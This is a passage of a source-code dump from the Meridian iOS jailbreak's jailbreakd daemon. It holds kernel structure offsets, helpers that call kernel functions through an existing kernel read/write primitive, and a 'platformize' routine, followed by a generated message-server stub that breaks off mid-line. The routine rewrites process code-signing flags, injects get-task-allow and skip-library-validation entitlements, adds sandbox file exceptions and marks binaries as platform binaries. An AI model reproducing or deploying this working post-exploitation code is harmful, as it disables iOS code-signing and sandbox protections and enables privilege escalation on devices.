    "content": "\nunsigned offsetof_p_pid = 0x10;               // proc_t::p_pid\nunsigned offsetof_task = 0x18;                // proc_t::task\nunsigned offsetof_p_uid = 0x30;               // proc_t::p_uid\nunsigned offsetof_p_gid = 0x34;               // proc_t::p_uid\nunsigned offsetof_p_ruid = 0x38;              // proc_t::p_uid\nunsigned offsetof_p_rgid = 0x3c;              // proc_t::p_uid\nunsigned offsetof_p_ucred = 0x100;            // proc_t::p_ucred\nunsigned offsetof_p_csflags = 0x2a8;          // proc_t::p_csflags\nunsigned offsetof_itk_self = 0xD8;            // task_t::itk_self (convert_task_to_port)\nunsigned offsetof_itk_sself = 0xE8;           // task_t::itk_sself (task_get_special_port)\nunsigned offsetof_itk_bootstrap = 0x2b8;      // task_t::itk_bootstrap (task_get_special_port)\nunsigned offsetof_itk_space = 0x300;          // task_t::itk_space\nunsigned offsetof_ip_mscount = 0x9C;          // ipc_port_t::ip_mscount (ipc_port_make_send)\nunsigned offsetof_ip_srights = 0xA0;          // ipc_port_t::ip_srights (ipc_port_make_send)\nunsigned offsetof_ip_kobject = 0x68;          // ipc_port_t::ip_kobject\nunsigned offsetof_p_textvp = 0x248;           // proc_t::p_textvp\nunsigned offsetof_p_textoff = 0x250;          // proc_t::p_textoff\nunsigned offsetof_p_cputype = 0x2c0;          // proc_t::p_cputype\nunsigned offsetof_p_cpu_subtype = 0x2c4;      // proc_t::p_cpu_subtype\nunsigned offsetof_special = 2 * sizeof(long); // host::special\nunsigned offsetof_ipc_space_is_table = 0x20;  // ipc_space::is_table?..\n\nunsigned offsetof_ucred_cr_uid = 0x18;        // ucred::cr_uid\nunsigned offsetof_ucred_cr_ruid = 0x1c;       // ucred::cr_ruid\nunsigned offsetof_ucred_cr_svuid = 0x20;      // ucred::cr_svuid\nunsigned offsetof_ucred_cr_ngroups = 0x24;    // ucred::cr_ngroups\nunsigned offsetof_ucred_cr_groups = 0x28;     // ucred::cr_groups\nunsigned offsetof_ucred_cr_rgid = 0x68;       // ucred::cr_rgid\nunsigned offsetof_ucred_cr_svgid = 0x6c;      // ucred::cr_svgid\n\nunsigned offsetof_v_type = 0x70;              // vnode::v_type\nunsigned offsetof_v_id = 0x74;                // vnode::v_id\nunsigned offsetof_v_ubcinfo = 0x78;           // vnode::v_ubcinfo\n\nunsigned offsetof_ubcinfo_csblobs = 0x50;     // ubc_info::csblobs\n\nunsigned offsetof_csb_cputype = 0x8;          // cs_blob::csb_cputype\nunsigned offsetof_csb_flags = 0x12;           // cs_blob::csb_flags\nunsigned offsetof_csb_base_offset = 0x16;     // cs_blob::csb_base_offset\nunsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements\nunsigned offsetof_csb_signer_type = 0xA0;     // cs_blob::csb_signer_type\nunsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary\nunsigned offsetof_csb_platform_path = 0xA8;   // cs_blob::csb_platform_path\n\nunsigned offsetof_t_flags = 0x3a0; // task::t_flags\n"
  },
  {
    "path": "Meridian/jailbreakd/helpers/offsetof.h",
    "content": "\nextern unsigned offsetof_p_pid;\nextern unsigned offsetof_task;\nextern unsigned offsetof_p_uid;\nextern unsigned offsetof_p_gid;\nextern unsigned offsetof_p_ruid;\nextern unsigned offsetof_p_rgid;\nextern unsigned offsetof_p_ucred;\nextern unsigned offsetof_p_csflags;\nextern unsigned offsetof_itk_self;\nextern unsigned offsetof_itk_sself;\nextern unsigned offsetof_itk_bootstrap;\nextern unsigned offsetof_itk_space;\nextern unsigned offsetof_ip_mscount;\nextern unsigned offsetof_ip_srights;\nextern unsigned offsetof_ip_kobject;\nextern unsigned offsetof_p_textvp;\nextern unsigned offsetof_p_textoff;\nextern unsigned offsetof_p_cputype;\nextern unsigned offsetof_p_cpu_subtype;\nextern unsigned offsetof_special;\nextern unsigned offsetof_ipc_space_is_table;\n\nextern unsigned offsetof_ucred_cr_uid;\nextern unsigned offsetof_ucred_cr_ruid;\nextern unsigned offsetof_ucred_cr_svuid;\nextern unsigned offsetof_ucred_cr_ngroups;\nextern unsigned offsetof_ucred_cr_groups;\nextern unsigned offsetof_ucred_cr_rgid;\nextern unsigned offsetof_ucred_cr_svgid;\n\nextern unsigned offsetof_v_type;\nextern unsigned offsetof_v_id;\nextern unsigned offsetof_v_ubcinfo;\n\nextern unsigned offsetof_ubcinfo_csblobs;\n\nextern unsigned offsetof_csb_cputype;\nextern unsigned offsetof_csb_flags;\nextern unsigned offsetof_csb_base_offset;\nextern unsigned offsetof_csb_entitlements_offset;\nextern unsigned offsetof_csb_signer_type;\nextern unsigned offsetof_csb_platform_binary;\nextern unsigned offsetof_csb_platform_path;\n\nextern unsigned offsetof_t_flags;\n"
  },
  {
    "path": "Meridian/jailbreakd/helpers/osobject.c",
    "content": "#include <stdlib.h>\n\n#include \"kern_utils.h\"\n#include \"kexecute.h\"\n#include \"kmem.h\"\n#include \"osobject.h\"\n\n// offsets in vtable:\nstatic uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F;\nstatic uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26;\nstatic uint32_t off_OSDictionary_Merge              = sizeof(void*) * 0x23;\n\nstatic uint32_t off_OSArray_Merge                   = sizeof(void*) * 0x1E;\nstatic uint32_t off_OSArray_RemoveObject            = sizeof(void*) * 0x20;\nstatic uint32_t off_OSArray_GetObject               = sizeof(void*) * 0x22;\n\nstatic uint32_t off_OSObject_Release                = sizeof(void*) * 0x05;\nstatic uint32_t off_OSObject_GetRetainCount         = sizeof(void*) * 0x03;\nstatic uint32_t off_OSObject_Retain                 = sizeof(void*) * 0x04;\n\nstatic uint32_t off_OSString_GetLength              = sizeof(void*) * 0x11;\n\n// 1 on success, 0 on error\nint OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) {\n\tsize_t len = strlen(key) + 1;\n\n\tuint64_t ks = kalloc(len);\n\tkwrite(ks, key, len);\n\n\tuint64_t vtab = rk64(dict);\n\tuint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP);\n\n\tint rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0);\n\n\tkfree(ks, len);\n\n\treturn rv;\n}\n\n// XXX it can return 0 in lower 32 bits but still be valid\n// fix addr of returned value and check if rk64 gives ptr\n// to vtable addr saved before\n\n// address if exists, 0 if not\nuint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) {\n\tsize_t len = strlen(key) + 1;\n\n\tuint64_t ks = kalloc(len);\n\tkwrite(ks, key, len);\n\n\tuint64_t vtab = rk64(dict);\n\tuint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP);\n\n\tint rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0);\n\n\tkfree(ks, len);\n\n\treturn rv;\n}\n\nuint64_t OSDictionary_GetItem(uint64_t dict, const char *key) {\n\tuint64_t ret = _OSDictionary_GetItem(dict, key);\n\t\n\tif (ret != 0) {\n\t\t// XXX can it be not in zalloc?..\n\t\tret = zm_fix_addr(ret);\n\t}\n\n\treturn ret;\n}\n\n// 1 on success, 0 on error\nint OSDictionary_Merge(uint64_t dict, uint64_t aDict) {\n\tuint64_t vtab = rk64(dict);\n\tuint64_t f = rk64(vtab + off_OSDictionary_Merge);\n\n\treturn (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0);\n}\n\n// 1 on success, 0 on error\nint OSArray_Merge(uint64_t array, uint64_t aArray) {\n\tuint64_t vtab = rk64(array);\n\tuint64_t f = rk64(vtab + off_OSArray_Merge);\n\n\treturn (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0);\n}\n\nuint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){\n    uint64_t vtab = rk64(array);\n    uint64_t f = rk64(vtab + off_OSArray_GetObject);\n    \n    return kexecute(f, array, idx, 0, 0, 0, 0, 0);\n}\n\nuint64_t OSArray_GetObject(uint64_t array, unsigned int idx){\n    uint64_t ret = _OSArray_GetObject(array, idx);\n    \n    if (ret != 0){\n        // XXX can it be not in zalloc?..\n        ret = zm_fix_addr(ret);\n    }\n    return ret;\n}\n\nvoid OSArray_RemoveObject(uint64_t array, unsigned int idx){\n    uint64_t vtab = rk64(array);\n    uint64_t f = rk64(vtab + off_OSArray_RemoveObject);\n    \n    (void)kexecute(f, array, idx, 0, 0, 0, 0, 0);\n}\n\n// XXX error handling just for fun? :)\nuint64_t _OSUnserializeXML(const char *buffer) {\n\tsize_t len = strlen(buffer) + 1;\n\n\tuint64_t ks = kalloc(len);\n\tkwrite(ks, buffer, len);\n\n\tuint64_t errorptr = 0;\n\n\tuint64_t rv = kexecute(offset_osunserializexml, ks, errorptr, 0, 0, 0, 0, 0);\n\tkfree(ks, len);\n\n\treturn rv;\n}\n\nuint64_t OSUnserializeXML(const char *buffer) {\n\tuint64_t ret = _OSUnserializeXML(buffer);\n\t\n\tif (ret != 0) {\n\t\t// XXX can it be not in zalloc?..\n\t\tret = zm_fix_addr(ret);\n\t}\n\n\treturn ret;\n}\n\nvoid OSObject_Release(uint64_t osobject) {\n\tuint64_t vtab = rk64(osobject);\n\tuint64_t f = rk64(vtab + off_OSObject_Release);\n\t(void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);\n}\n\nvoid OSObject_Retain(uint64_t osobject) {\n\tuint64_t vtab = rk64(osobject);\n\tuint64_t f = rk64(vtab + off_OSObject_Release);\n\t(void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);\n}\n\nuint32_t OSObject_GetRetainCount(uint64_t osobject) {\n\tuint64_t vtab = rk64(osobject);\n\tuint64_t f = rk64(vtab + off_OSObject_Release);\n\treturn (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);\n}\n\nunsigned int OSString_GetLength(uint64_t osstring){\n    uint64_t vtab = rk64(osstring);\n    uint64_t f = rk64(vtab + off_OSString_GetLength);\n    return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0);\n}\n\nchar *OSString_CopyString(uint64_t osstring){\n    unsigned int length = OSString_GetLength(osstring);\n    char *str = malloc(length + 1);\n    str[length] = 0;\n    \n    kread(OSString_CStringPtr(osstring), str, length);\n    return str;\n}\n"
  },
  {
    "path": "Meridian/jailbreakd/helpers/osobject.h",
    "content": "\n#define OSDictionary_ItemCount(dict) rk32(dict+20)\n#define OSDictionary_ItemBuffer(dict) rk64(dict+32)\n#define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx)\n#define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8)\n#define OSString_CStringPtr(str) rk64(str + 0x10)\n#define OSArray_ItemCount(arr) rk32(arr+0x14)\n#define OSArray_ItemBuffer(arr) rk64(arr+32)\n\n// see osobject.c for info\n\nint OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val);\nuint64_t OSDictionary_GetItem(uint64_t dict, const char *key);\nint OSDictionary_Merge(uint64_t dict, uint64_t aDict);\nvoid OSArray_RemoveObject(uint64_t array, unsigned int idx);\nuint64_t OSArray_GetObject(uint64_t array, unsigned int idx);\nint OSArray_Merge(uint64_t array, uint64_t aArray);\nuint64_t OSUnserializeXML(const char *buffer);\n\nvoid OSObject_Release(uint64_t osobject);\nvoid OSObject_Retain(uint64_t osobject);\nuint32_t OSObject_GetRetainCount(uint64_t osobject);\n\nunsigned int OSString_GetLength(uint64_t osstring);\nchar *OSString_CopyString(uint64_t osstring);\n"
  },
  {
    "path": "Meridian/jailbreakd/kern_utils.h",
    "content": "#import <stdio.h>\n\n#import <mach/mach.h>\n#import <mach/error.h>\n#import <mach/message.h>\n\n#import <CoreFoundation/CoreFoundation.h>\n\n/****** IOKit/IOKitLib.h *****/\ntypedef mach_port_t io_service_t;\ntypedef mach_port_t io_connect_t;\n\nextern const mach_port_t kIOMasterPortDefault;\n#define IO_OBJECT_NULL (0)\n\nkern_return_t\nIOConnectCallAsyncMethod(\n\t\t\t\t\t\t mach_port_t     connection,\n\t\t\t\t\t\t uint32_t        selector,\n\t\t\t\t\t\t mach_port_t     wakePort,\n\t\t\t\t\t\t uint64_t*       reference,\n\t\t\t\t\t\t uint32_t        referenceCnt,\n\t\t\t\t\t\t const uint64_t* input,\n\t\t\t\t\t\t uint32_t        inputCnt,\n\t\t\t\t\t\t const void*     inputStruct,\n\t\t\t\t\t\t size_t          inputStructCnt,\n\t\t\t\t\t\t uint64_t*       output,\n\t\t\t\t\t\t uint32_t*       outputCnt,\n\t\t\t\t\t\t void*           outputStruct,\n\t\t\t\t\t\t size_t*         outputStructCntP);\n\nkern_return_t\nIOConnectCallMethod(\n\t\t\t\t\tmach_port_t     connection,\n\t\t\t\t\tuint32_t        selector,\n\t\t\t\t\tconst uint64_t* input,\n\t\t\t\t\tuint32_t        inputCnt,\n\t\t\t\t\tconst void*     inputStruct,\n\t\t\t\t\tsize_t          inputStructCnt,\n\t\t\t\t\tuint64_t*       output,\n\t\t\t\t\tuint32_t*       outputCnt,\n\t\t\t\t\tvoid*           outputStruct,\n\t\t\t\t\tsize_t*         outputStructCntP);\n\nio_service_t\nIOServiceGetMatchingService(\n\t\t\t\t\t\t\tmach_port_t  _masterPort,\n\t\t\t\t\t\t\tCFDictionaryRef  matching);\n\nCFMutableDictionaryRef\nIOServiceMatching(\n\t\t\t\t  const char* name);\n\nkern_return_t\nIOServiceOpen(\n\t\t\t  io_service_t  service,\n\t\t\t  task_port_t   owningTask,\n\t\t\t  uint32_t      type,\n\t\t\t  io_connect_t* connect );\n\nkern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);\nkern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt);\nkern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);\nkern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);\nkern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);\nkern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);\n\n#define CS_VALID                        0x0000001    /* dynamically valid */\n#define CS_ADHOC                        0x0000002    /* ad hoc signed */\n#define CS_GET_TASK_ALLOW               0x0000004    /* has get-task-allow entitlement */\n#define CS_INSTALLER                    0x0000008    /* has installer entitlement */\n\n#define CS_HARD                         0x0000100    /* don't load invalid pages */\n#define CS_KILL                         0x0000200    /* kill process if it becomes invalid */\n#define CS_CHECK_EXPIRATION             0x0000400    /* force expiration checking */\n#define CS_RESTRICT                     0x0000800    /* tell dyld to treat restricted */\n#define CS_ENFORCEMENT                  0x0001000    /* require enforcement */\n#define CS_REQUIRE_LV                   0x0002000    /* require library validation */\n#define CS_ENTITLEMENTS_VALIDATED       0x0004000\n\n#define CS_ALLOWED_MACHO                0x00ffffe\n\n#define CS_EXEC_SET_HARD                0x0100000    /* set CS_HARD on any exec'ed process */\n#define CS_EXEC_SET_KILL                0x0200000    /* set CS_KILL on any exec'ed process */\n#define CS_EXEC_SET_ENFORCEMENT         0x0400000    /* set CS_ENFORCEMENT on any exec'ed process */\n#define CS_EXEC_SET_INSTALLER           0x0800000    /* set CS_INSTALLER on any exec'ed process */\n\n#define CS_KILLED                       0x1000000    /* was killed by kernel for invalidity */\n#define CS_DYLD_PLATFORM                0x2000000    /* dyld used to load this is a platform binary */\n#define CS_PLATFORM_BINARY              0x4000000    /* this is a platform binary */\n#define CS_PLATFORM_PATH                0x8000000    /* platform binary by the fact of path (osx only) */\n\n#define CS_DEBUGGED                     0x10000000  /* process is currently or has previously been debugged and allowed to run with invalid pages */\n#define CS_SIGNED                       0x20000000  /* process has a signature (may have gone invalid) */\n#define CS_DEV_CODE                     0x40000000  /* code is dev signed, cannot be loaded into prod signed code */\n\nextern mach_port_t tfp0;\nextern uint64_t kernel_base;\nextern uint64_t kernel_slide;\n\nextern uint64_t kernprocaddr;\nextern uint64_t offset_zonemap;\n\nextern uint64_t offset_add_ret_gadget;\nextern uint64_t offset_osboolean_true;\nextern uint64_t offset_osboolean_false;\nextern uint64_t offset_osunserializexml;\nextern uint64_t offset_smalloc;\n\nuint64_t find_port(mach_port_name_t port);\n\nuint64_t proc_find(int pd);\n\nvoid platformize(int pd);\n"
  },
  {
    "path": "Meridian/jailbreakd/kern_utils.m",
    "content": "#import <Foundation/Foundation.h>\n\n#include <sched.h>\n#include <sys/stat.h>\n\n#include \"common.h\"\n#include \"kern_utils.h\"\n#include \"kexecute.h\"\n#include \"kmem.h\"\n#include \"offsetof.h\"\n#include \"osobject.h\"\n#include \"sandbox.h\"\n\nmach_port_t tfp0;\nuint64_t kernel_base;\nuint64_t kernel_slide;\n\nuint64_t kernprocaddr;\nuint64_t offset_zonemap;\n\nuint64_t offset_add_ret_gadget;\nuint64_t offset_osboolean_true;\nuint64_t offset_osboolean_false;\nuint64_t offset_osunserializexml;\nuint64_t offset_smalloc;\n\n// Please call `proc_release` after you are finished with your proc!\nuint64_t proc_find(int pd) {\n    uint64_t proc = kernprocaddr;\n    \n    while (proc) {\n        uint32_t found_pid = rk32(proc + 0x10);\n        \n        if (found_pid == pd) {\n            return proc;\n        }\n        \n        proc = rk64(proc + 0x8);\n    }\n    \n    return 0;\n}\n\nCACHED_FIND(uint64_t, our_task_addr) {\n    uint64_t proc = rk64(kernprocaddr + 0x8);\n    \n    while (proc) {\n        uint32_t proc_pid = rk32(proc + 0x10);\n        \n        if (proc_pid == getpid()) {\n            break;\n        }\n        \n        proc = rk64(proc + 0x8);\n    }\n    \n    if (proc == 0) {\n        fprintf(stdout, \"failed to find our_task_addr!\\n\");\n        exit(EXIT_FAILURE);\n    }\n\n    return rk64(proc + offsetof_task);\n}\n\nuint64_t find_port(mach_port_name_t port) {\n    uint64_t task_addr = our_task_addr();\n  \n    uint64_t itk_space = rk64(task_addr + offsetof_itk_space);\n  \n    uint64_t is_table = rk64(itk_space + offsetof_ipc_space_is_table);\n  \n    uint32_t port_index = port >> 8;\n    const int sizeof_ipc_entry_t = 0x18;\n  \n    return rk64(is_table + (port_index * sizeof_ipc_entry_t));\n}\n\nvoid set_csflags(uint64_t proc) {\n    uint32_t pid = rk32(proc + 0x10);\n    \n    uint32_t csflags = rk32(proc + offsetof_p_csflags);\n\n    csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_DEBUGGED) & ~(CS_RESTRICT | CS_HARD | CS_KILL);\n    \n    wk32(proc + offsetof_p_csflags, csflags);\n}\n\nvoid set_csblob(uint64_t proc) {\n    uint64_t textvp = rk64(proc + offsetof_p_textvp); // vnode of executable\n    if (textvp == 0) return;\n    \n    uint16_t vnode_type = rk16(textvp + offsetof_v_type);\n    if (vnode_type != 1) return; // 1 = VREG\n    \n    uint64_t ubcinfo = rk64(textvp + offsetof_v_ubcinfo);\n\n    // Loop through all csblob entries (linked list) and update\n    // all (they must match by design)\n    uint64_t csblob = rk64(ubcinfo + offsetof_ubcinfo_csblobs);\n    while (csblob != 0) {\n        wk32(csblob + offsetof_csb_platform_binary, 1);\n        \n        csblob = rk64(csblob);\n    }\n}\n\nconst char* abs_path_exceptions[] = {\n    \"/Library\",\n    \"/private/var/mobile/Library\",\n    \"/private/var/mnt\",\n    NULL\n};\n\nuint64_t exception_osarray_cache = 0;\nuint64_t get_exception_osarray(void) {\n    if (exception_osarray_cache == 0) {\n        exception_osarray_cache = OSUnserializeXML(\n            \"<array>\"\n            \"<string>/Library/</string>\"\n            \"<string>/private/var/mobile/Library/</string>\"\n            \"<string>/private/var/mnt/</string>\"\n            \"</array>\"\n        );\n    }\n\n    return exception_osarray_cache;\n}\n\nstatic const char *exc_key = \"com.apple.security.exception.files.absolute-path.read-only\";\n\nvoid set_sandbox_extensions(uint64_t proc) {\n    DEBUGLOG(false, \"set_sandbox_extensions called for %llx\", proc);\n    uint64_t proc_ucred = rk64(proc + 0x100);\n    uint64_t sandbox = rk64(rk64(proc_ucred + 0x78) + 0x8 + 0x8);\n    DEBUGLOG(false, \"sandbox: %llx\", sandbox);\n    \n    if (sandbox == 0) {\n        DEBUGLOG(false, \"no sandbox, skipping (proc: %llx)\", proc);\n        return;\n    }\n\n    if (has_file_extension(sandbox, abs_path_exceptions[0])) {\n        DEBUGLOG(false, \"already has '%s', skipping\", abs_path_exceptions[0]);\n        return;\n    }\n\n    uint64_t ext = 0;\n    const char** path = abs_path_exceptions;\n    while (*path != NULL) {\n        ext = extension_create_file(*path, ext);\n        if (ext == 0) {\n            DEBUGLOG(false, \"extension_create_file(%s) failed, panic!\", *path);\n        }\n        ++path;\n    }\n    \n    if (ext != 0) {\n        extension_add(ext, sandbox, exc_key);\n    }\n}\n\nvoid set_amfi_entitlements(uint64_t proc) {\n    uint64_t proc_ucred = rk64(proc + 0x100);\n    uint64_t amfi_entitlements = rk64(rk64(proc_ucred + 0x78) + 0x8);\n\n    int rv = 0;\n    \n    rv = OSDictionary_SetItem(amfi_entitlements, \"get-task-allow\", offset_osboolean_true);\n    if (rv != 1) {\n        DEBUGLOG(false, \"failed to set get-task-allow within amfi_entitlements!\");;\n    }\n    \n    rv = OSDictionary_SetItem(amfi_entitlements, \"com.apple.private.skip-library-validation\", offset_osboolean_true);\n    if (rv != 1) {\n        DEBUGLOG(false, \"failed to set com.apple.private.skip-library-validation within amfi_entitlements!\");\n    }\n    \n    uint64_t present = OSDictionary_GetItem(amfi_entitlements, exc_key);\n\n    if (present == 0) {\n        rv = OSDictionary_SetItem(amfi_entitlements, exc_key, get_exception_osarray());\n    } else if (present != get_exception_osarray()) {\n        unsigned int itemCount = OSArray_ItemCount(present);\n        DEBUGLOG(false, \"got item count: %d\", itemCount);\n\n        BOOL foundEntitlements = NO;\n\n        uint64_t itemBuffer = OSArray_ItemBuffer(present);\n\n        for (int i = 0; i < itemCount; i++) {\n            uint64_t item = rk64(itemBuffer + (i * sizeof(void *)));\n            char *entitlementString = OSString_CopyString(item);\n            DEBUGLOG(false, \"found ent string: %s\", entitlementString);\n            if (strcmp(entitlementString, \"/Library/\") == 0) {\n                foundEntitlements = YES;\n                free(entitlementString);\n                break;\n            }\n            free(entitlementString);\n        }\n\n        if (!foundEntitlements){\n            rv = OSArray_Merge(present, get_exception_osarray());\n        } else {\n            rv = 1;\n        }\n    } else {\n        rv = 1;\n    }\n\n    if (rv != 1) {\n        DEBUGLOG(false, \"Setting exc FAILED! amfi_entitlements: 0x%llx present: 0x%llx\\n\", amfi_entitlements, present);\n    }\n}\n\nvoid platformize(int pd) {\n    uint64_t proc = proc_find(pd);\n    if (proc == 0) {\n        DEBUGLOG(true, \"failed to find proc for pid %d!\", pd);\n        return;\n    }\n    \n    DEBUGLOG(true, \"platformize called for %d (proc: %llx)\", pd, proc);\n    \n    set_csflags(proc);\n    set_amfi_entitlements(proc);\n    set_sandbox_extensions(proc);\n    set_csblob(proc);\n}\n"
  },
  {
    "path": "Meridian/jailbreakd/mach/jailbreak_daemonServer.c",
    "content": "/*\n * IDENTIFICATION:\n * stub generated Fri Sep 21 22:56:39 2018\n * with a MiG generated by bootstrap_cmds-96.20.2\n * OPTIONS: \n */\n\n/* Module jailbreak_daemon */\n\n#define\t__MIG_check__Request__jailbreak_daemon_subsystem__ 1\n\n#include \"jailbreak_daemonServer.h\"\n\n#ifndef\tmig_internal\n#define\tmig_internal\tstatic __inline__\n#endif\t/* mig_internal */\n\n#ifndef\tmig_external\n#define mig_external\n#endif\t/* mig_external */\n\n#if\t!defined(__MigTypeCheck) && defined(TypeCheck)\n#define\t__MigTypeCheck\t\tTypeCheck\t/* Legacy setting */\n#endif\t/* !defined(__MigTypeCheck) */\n\n#if\t!defined(__MigKernelSpecificCode) && defined(_MIG_KERNEL_SPECIFIC_CODE_)\n#define\t__MigKernelSpecificCode\t_MIG_KERNEL_SPECIFIC_CODE_\t/* Legacy setting */\n#endif\t/* !defined(__MigKernelSpecificCode) */\n\n#ifndef\tLimitCheck\n#define\tLimitCheck 0\n#endif\t/* LimitCheck */\n\n#ifndef\tmin\n#define\tmin(a,b)  ( ((a) < (b))? (a): (b) )\n#endif\t/* min */\n\n#if !defined(_WALIGN_)\n#define _WALIGN_(x) (((x) + 3) & ~3)\n#endif /* !defined(_WALIGN_) */\n\n#if !defined(_WALIGNSZ_)\n#define _WALIGNSZ_(x) _WALIGN_(sizeof(x))\n#endif /* !defined(_WALIGNSZ_) */\n\n#ifndef\tUseStaticTemplates\n#define\tUseStaticTemplates\t0\n#endif\t/* UseStaticTemplates */\n\n#ifndef\t__DeclareRcvRpc\n#define\t__DeclareRcvRpc(_NUM_, _NAME_)\n#endif\t/* __DeclareRcvRpc */\n\n#ifndef\t__BeforeRcvRpc\n#define\t__BeforeRcvRpc(_NUM_, _NAME_)\n#endif\t/* __BeforeRcvRpc */\n\n#ifndef\t__AfterRcvRpc\n#define\t__AfterRcvRpc(_NUM_, _NAME_)\n#endif\t/* __AfterRcvRpc */\n\n#ifndef\t__DeclareRcvSimple\n#define\t__DeclareRcvSimple(_NUM_, _NAME_)\n#endif\t/* __DeclareRcvSimple */\n\n#ifndef\t__BeforeRcvSimple\n#define\t__BeforeRcvSimple(_NUM_, _NAME_)\n#endif\t/* __BeforeRcvSimple */\n\n#ifndef\t__AfterRcvSimple\n#define\t__AfterRcvSimple(_NUM_, _NAME_)\n#endif\t/* __AfterRcvSimple */\n\n#define novalue void\n\n#define msgh_request_port\tmsgh_local_port\n#define MACH_MSGH_BITS_REQUEST(bits)\tMACH_MSGH_BITS_LOCAL(bits)\n#define msgh_reply_port\t\tmsgh_remote_port\n#define MACH_MSGH_BITS_REPLY(bits)\tMACH_MSGH_BITS_REMOTE(bits)\n\n#define MIG_RETURN_ERROR(X, code)\t{\\\n\t\t\t\t((mig_reply_error_t *)X)->RetCode = code;\\\n\t\t\t\t((mig_reply_error_t *)X)->NDR = NDR_record;\\\n\t\t\t\treturn;\\\n\t\t\t\t}\n\n/* Forward Declarations */\n\n\nmig_internal novalue _Xcall\n\t(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);\n\n\n#if ( __MigTypeCheck )\n#if __MIG_check__Request__jailbreak_daemon_subsystem__\n#if !defined(__MIG_check__Request__call_t__defined)\n#define __MIG_check__Request__call_t__defined\n\nmig_internal kern_return_t __MIG_check__Request__call_t(__attribute__((__unused__)) __Request__call_t *In0P)\n{\n\n\ttypedef __Request__call_t __Request;\n#if\t__MigTypeCheck\n\tif ((In0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||\n\t    (In0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Request)))\n\t\treturn MIG_BAD_ARGUMENTS;\n#endif\t/* __MigTypeCheck */\n\n\treturn MACH_MSG_SUCCESS;\n}\n#endif /* !defined(__MIG_check__Request__call_t__defined) */\n#endif /* __MIG_check__Request__jailbreak_daemon_subsystem__ */\n#endif /* ( __MigTypeCheck ) */\n\n\n/* Routine call */\nmig_internal novalue _Xcall\n\t(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)\n{\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tuint8_t command;\n\t\tchar commandPad[3];\n\t\tuint32_t pid;\n\t\tmach_msg_trailer_t trailer;\n\t} Request __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n\ttypedef __Request__call_t __Request;\n\ttypedef __Reply__call_t Reply __attribute__((unused));\n\n\t/*\n\t * typedef struct {\n\t * \tmach_msg_header_t Head;\n\t * \tNDR_record_t NDR;\n\t * \tkern_return_t RetCode;\n\t * } mig_reply_error_t;\n\t */\n\n\tRequest *In0P = (Request *) InHeadP;\n\tReply *OutP = (Reply *) OutHeadP;\n#ifdef\t__MIG_check__Request__call_t__defined\n\tkern_return_t check_result;\n#endif\t/* __MIG_check__Request__call_t__defined */\n\n\t__DeclareRcvRpc(500, \"call\")\n\t__BeforeRcvRpc(500, \"call\")\n\n#if\tdefined(__MIG_check__Request__call_t__defined)\n\tcheck_result = __MIG_check__Request__call_t((__Request *)In0P);\n\tif (check_result != MACH_MSG_SUCCESS)\n\t\t{ MIG_RETURN_ERROR(OutP, check_result); }\n#endif\t/* defined(__MIG_check__Request__call_t__defined) */\n\n\tOutP->RetCode = jbd_call(In0P->Head.msgh_request_port, In0P->command, In0P->pid);\n\n\tOutP->NDR = NDR_record;\n\n\n\t__AfterRcvRpc(500, \"call\")\n}\n\n\n\n/* Description of this subsystem, for use in direct RPC */\nconst struct jbd_jailbreak_daemon_subsystem jbd_jailbreak_daemon_subsystem = {\n\tjailbreak_daemon_server_routine,\n\t500,\n\t501,\n\t(mach_msg_size_t)sizeof(union __ReplyUnion__jbd_jailbreak_daemon_subsystem),\n\t(vm_address_t)0,\n\t{\n          { (mig_impl_routine_t) 0,\n          (mig_stub_routine_t) _Xcall, 3, 0, (routine_arg_descriptor_t)0, (mach_msg_size_t)sizeof(__Reply__call_t)},\n\t}\n};\n\nmig_external boolean_t jailbreak_daemon_server\n\t(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)\n{\n\t/*\n\t * typedef struct {\n\t * \tmach_msg_header_t Head;\n\t * \tNDR_record_t NDR;\n\t * \tkern_return_t RetCode;\n\t * } mig_reply_error_t;\n\t */\n\n\tregister mig_routine_t routine;\n\n\tOutHeadP->msgh_bits = 